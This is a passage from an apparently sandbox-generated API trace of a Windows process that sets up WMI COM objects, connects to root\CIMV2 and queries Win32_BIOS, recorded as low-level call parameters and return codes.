[7]=0x7)), ppvObject=0x1afbbb30 | out: ppvObject=0x1afbbb30*=0x0) returned 0x80004002 [0169.284] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1fec50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb08 | out: ppvObject=0x1afbbb08*=0x1b231d60) returned 0x0 [0169.284] WbemDefPath:IUnknown:Release (This=0x1b1fec50) returned 0x0 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8b0 | out: ppvObject=0x1afbb8b0*=0x1b231d60) returned 0x0 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb940 | out: ppvObject=0x1afbb940*=0x0) returned 0x80004002 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb138 | out: ppvObject=0x1afbb138*=0x0) returned 0x80004002 [0169.285] WbemDefPath:IUnknown:AddRef (This=0x1b231d60) returned 0x3 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbaff8 | out: ppvObject=0x1afbaff8*=0x0) returned 0x80004002 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbaf80 | out: ppvObject=0x1afbaf80*=0x0) returned 0x80004002 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbaf70 | out: ppvObject=0x1afbaf70*=0x1b1ff310) returned 0x0 [0169.285] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1ff310, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbaf98 | out: pCid=0x1afbaf98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.285] WbemDefPath:IUnknown:Release (This=0x1b1ff310) returned 0x3 [0169.285] CoGetContextToken (in: pToken=0x1afbb020 | out: pToken=0x1afbb020) returned 0x0 [0169.285] CoGetContextToken (in: pToken=0x1afbb4a0 | out: pToken=0x1afbb4a0) returned 0x0 [0169.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb560 | out: ppvObject=0x1afbb560*=0x0) returned 0x80004002 [0169.285] WbemDefPath:IUnknown:Release (This=0x1b231d60) returned 0x2 [0169.285] WbemDefPath:IUnknown:Release (This=0x1b231d60) returned 0x1 [0169.285] CoGetContextToken (in: pToken=0x1afbc290 | out: pToken=0x1afbc290) returned 0x0 [0169.286] CoGetContextToken (in: pToken=0x1afbc190 | out: pToken=0x1afbc190) returned 0x0 [0169.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231d60, riid=0x1afbc2f0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc2c0 | out: ppvObject=0x1afbc2c0*=0x1b231d60) returned 0x0 [0169.286] WbemDefPath:IUnknown:AddRef (This=0x1b231d60) returned 0x3 [0169.286] WbemDefPath:IUnknown:Release (This=0x1b231d60) returned 0x2 [0169.286] WbemDefPath:IWbemPath:SetText (This=0x1b231d60, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0169.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc678 | out: puCount=0x1afbc678*=0x2) returned 0x0 [0169.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc670*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc670*=0xf, pszText=0x0) returned 0x0 [0169.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc688 | out: puCount=0x1afbc688*=0x2) returned 0x0 [0169.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc680*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc680*=0xf, pszText=0x0) returned 0x0 [0169.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc680*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc680*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.286] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc608 | out: ppv=0x1afbc608*=0x77dd58) returned 0x0 [0169.286] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc5f8 | out: pAptType=0x1afbc5f8*=1) returned 0x0 [0169.286] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc600 | out: ppvObject=0x1afbc600*=0x0) returned 0x80004002 [0169.286] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.287] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbcc8 | out: ppv=0x1afbbcc8*=0x1b1fec90) returned 0x0 [0169.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fec90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbdb0 | out: ppvObject=0x1afbbdb0*=0x0) returned 0x80004002 [0169.301] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b1fec90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbd88 | out: ppvObject=0x1afbbd88*=0x1b1fee70) returned 0x0 [0169.301] WbemLocator:IUnknown:Release (This=0x1b1fec90) returned 0x0 [0169.301] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb30 | out: ppvObject=0x1afbbb30*=0x1b1fee70) returned 0x0 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbbc0 | out: ppvObject=0x1afbbbc0*=0x0) returned 0x80004002 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb3b8 | out: ppvObject=0x1afbb3b8*=0x0) returned 0x80004002 [0169.302] WbemLocator:IUnknown:AddRef (This=0x1b1fee70) returned 0x3 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb278 | out: ppvObject=0x1afbb278*=0x0) returned 0x80004002 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb200 | out: ppvObject=0x1afbb200*=0x0) returned 0x80004002 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb1f0 | out: ppvObject=0x1afbb1f0*=0x0) returned 0x80004002 [0169.302] CoGetContextToken (in: pToken=0x1afbb2a0 | out: pToken=0x1afbb2a0) returned 0x0 [0169.302] CoGetContextToken (in: pToken=0x1afbb720 | out: pToken=0x1afbb720) returned 0x0 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb7e0 | out: ppvObject=0x1afbb7e0*=0x0) returned 0x80004002 [0169.302] WbemLocator:IUnknown:Release (This=0x1b1fee70) returned 0x2 [0169.302] WbemLocator:IUnknown:Release (This=0x1b1fee70) returned 0x1 [0169.302] CoGetContextToken (in: pToken=0x1afbc160 | out: pToken=0x1afbc160) returned 0x0 [0169.302] CoGetContextToken (in: pToken=0x1afbc060 | out: pToken=0x1afbc060) returned 0x0 [0169.302] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1fee70, riid=0x1afbc1c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbc190 | out: ppvObject=0x1afbc190*=0x1b1fee70) returned 0x0 [0169.302] WbemLocator:IUnknown:AddRef (This=0x1b1fee70) returned 0x3 [0169.302] WbemLocator:IUnknown:Release (This=0x1b1fee70) returned 0x2 [0169.302] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc598 | out: puCount=0x1afbc598*=0x2) returned 0x0 [0169.302] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=8, puBuffLength=0x1afbc590*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc590*=0xf, pszText=0x0) returned 0x0 [0169.302] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=8, puBuffLength=0x1afbc590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc590*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.303] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc2e0 | out: ppv=0x1afbc2e0*=0x1b1fecd0) returned 0x0 [0169.303] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b1fecd0, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc458 | out: ppNamespace=0x1afbc458*=0x1b2178d0) returned 0x0 [0169.321] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2178d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc158 | out: ppvObject=0x1afbc158*=0x1b233dd0) returned 0x0 [0169.321] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b233dd0, pProxy=0x1b2178d0, pAuthnSvc=0x1afbc220, pAuthzSvc=0x1afbc1a0, pServerPrincName=0x1afbc1c8, pAuthnLevel=0x1afbc1a4, pImpLevel=0x1afbc1b0, pAuthInfo=0x1afbc1d8, pCapabilites=0x1afbc1b4 | out: pAuthnSvc=0x1afbc220*=0xa, pAuthzSvc=0x1afbc1a0*=0x0, pServerPrincName=0x1afbc1c8, pAuthnLevel=0x1afbc1a4*=0x6, pImpLevel=0x1afbc1b0*=0x2, pAuthInfo=0x1afbc1d8, pCapabilites=0x1afbc1b4*=0x1) returned 0x0 [0169.322] WbemLocator:IUnknown:Release (This=0x1b233dd0) returned 0x1 [0169.322] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2178d0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc0f0 | out: ppvObject=0x1afbc0f0*=0x1b233e18) returned 0x0 [0169.322] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2178d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc100 | out: ppvObject=0x1afbc100*=0x1b233dd0) returned 0x0 [0169.322] WbemLocator:IClientSecurity:SetBlanket (This=0x1b233dd0, pProxy=0x1b2178d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.322] WbemLocator:IUnknown:Release (This=0x1b233dd0) returned 0x2 [0169.322] WbemLocator:IUnknown:Release (This=0x1b233e18) returned 0x1 [0169.322] CoTaskMemFree (pv=0x1b204340) [0169.322] WbemLocator:IUnknown:Release (This=0x1b1fecd0) returned 0x0 [0169.322] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2178d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x1b233e18) returned 0x0 [0169.322] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbc80 | out: ppvObject=0x1afbbc80*=0x0) returned 0x80004002 [0169.323] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb8a0 | out: ppvObject=0x1afbb8a0*=0x0) returned 0x80004002 [0169.323] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2178d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb478 | out: ppvObject=0x1afbb478*=0x0) returned 0x80004002 [0169.324] WbemLocator:IUnknown:AddRef (This=0x1b233e18) returned 0x3 [0169.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb338 | out: ppvObject=0x1afbb338*=0x0) returned 0x80004002 [0169.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb2c0 | out: ppvObject=0x1afbb2c0*=0x0) returned 0x80004002 [0169.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb2b0 | out: ppvObject=0x1afbb2b0*=0x1b233cf8) returned 0x0 [0169.324] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233cf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb2d8 | out: pCid=0x1afbb2d8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.324] WbemLocator:IUnknown:Release (This=0x1b233cf8) returned 0x3 [0169.324] CoGetContextToken (in: pToken=0x1afbb360 | out: pToken=0x1afbb360) returned 0x0 [0169.324] CoGetContextToken (in: pToken=0x1afbb7e0 | out: pToken=0x1afbb7e0) returned 0x0 [0169.324] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8a0 | out: ppvObject=0x1afbb8a0*=0x1b233de0) returned 0x0 [0169.324] WbemLocator:IRpcOptions:Query (in: This=0x1b233de0, pPrx=0x1b233e18, dwProperty=2, pdwValue=0x1afbb890 | out: pdwValue=0x1afbb890) returned 0x80004002 [0169.324] WbemLocator:IUnknown:Release (This=0x1b233de0) returned 0x3 [0169.324] WbemLocator:IUnknown:Release (This=0x1b233e18) returned 0x2 [0169.325] CoGetContextToken (in: pToken=0x1afbbea0 | out: pToken=0x1afbbea0) returned 0x0 [0169.325] CoGetContextToken (in: pToken=0x1afbbda0 | out: pToken=0x1afbbda0) returned 0x0 [0169.325] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x1afbbf00*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbbed0 | out: ppvObject=0x1afbbed0*=0x1b2178d0) returned 0x0 [0169.325] WbemLocator:IUnknown:AddRef (This=0x1b2178d0) returned 0x4 [0169.325] WbemLocator:IUnknown:Release (This=0x1b2178d0) returned 0x3 [0169.325] WbemLocator:IUnknown:Release (This=0x1b2178d0) returned 0x2 [0169.325] SysStringLen (param_1=0x0) returned 0x0 [0169.325] CoGetContextToken (in: pToken=0x1afbbfd0 | out: pToken=0x1afbbfd0) returned 0x0 [0169.325] WbemLocator:IUnknown:AddRef (This=0x1b233e18) returned 0x3 [0169.325] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233e18, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbfd0 | out: ppvObject=0x1afbbfd0*=0x1b233e18) returned 0x0 [0169.325] WbemLocator:IUnknown:Release (This=0x1b233e18) returned 0x3 [0169.325] WbemLocator:IUnknown:Release (This=0x1b233e18) returned 0x2 [0169.325] CoGetContextToken (in: pToken=0x1afbc110 | out: pToken=0x1afbc110) returned 0x0 [0169.325] WbemLocator:IUnknown:AddRef (This=0x1b2178d0) returned 0x3 [0169.325] IWbemServices:ExecQuery (in: This=0x1b2178d0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_BIOS", lFlags=16, pCtx=0x0, ppEnum=0x1afbc5a8 | out: ppEnum=0x1afbc5a8*=0x1b22de30) returned 0x0 [0169.372] IUnknown:QueryInterface (in: This=0x1b22de30, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc288 | out: ppvObject=0x1afbc288*=0x1b22de38) returned 0x0 [0169.372] IClientSecurity:QueryBlanket (in: This=0x1b22de38, pProxy=0x1b22de30, pAuthnSvc=0x1afbc350, pAuthzSvc=0x1afbc2d0, pServerPrincName=0x1afbc2f8, pAuthnLevel=0x1afbc2d4, pImpLevel=0x1afbc2e0, pAuthInfo=0x1afbc308, pCapabilites=0x1afbc2e4 | out: pAuthnSvc=0x1afbc350*=0xa, pAuthzSvc=0x1afbc2d0*=0x0, pServerPrincName=0x1afbc2f8, pAuthnLevel=0x1afbc2d4*=0x6, pImpLevel=0x1afbc2e0*=0x2, pAuthInfo=0x1afbc308, pCapabilites=0x1afbc2e4*=0x1) returned 0x0 [0169.372] IUnknown:Release (This=0x1b22de38) returned 0x1 [0169.372] IUnknown:QueryInterface (in: This=0x1b22de30, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc220 | out: ppvObject=0x1afbc220*=0x1b233118) returned 0x0 [0169.372] IUnknown:QueryInterface (in: This=0x1b22de30, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc230 | out: ppvObject=0x1afbc230*=0x1b22de38) returned 0x0 [0169.373] IClientSecurity:SetBlanket (This=0x1b22de38, pProxy=0x1b22de30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.374] IUnknown:Release (This=0x1b22de38) returned 0x2 [0169.374] WbemLocator:IUnknown:Release (This=0x1b233118) returned 0x1 [0169.374] CoTaskMemFree (pv=0x1b204730) [0169.374] IUnknown:QueryInterface (in: This=0x1b22de30, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbcf0 | out: ppvObject=0x1afbbcf0*=0x1b233118) returned 0x0 [0169.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbd80 | out: ppvObject=0x1afbbd80*=0x0) returned 0x80004002 [0169.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb9a0 | out: ppvObject=0x1afbb9a0*=0x0) returned 0x80004002 [0169.375] IUnknown:QueryInterface (in: This=0x1b22de30, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb578 | out: ppvObject=0x1afbb578*=0x0) returned 0x80004002 [0169.376] WbemLocator:IUnknown:AddRef (This=0x1b233118) returned 0x3 [0169.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb438 | out: ppvObject=0x1afbb438*=0x0) returned 0x80004002 [0169.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb3c0 | out: ppvObject=0x1afbb3c0*=0x0) returned 0x80004002 [0169.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb3b0 | out: ppvObject=0x1afbb3b0*=0x1b232ff8) returned 0x0 [0169.376] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b232ff8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, 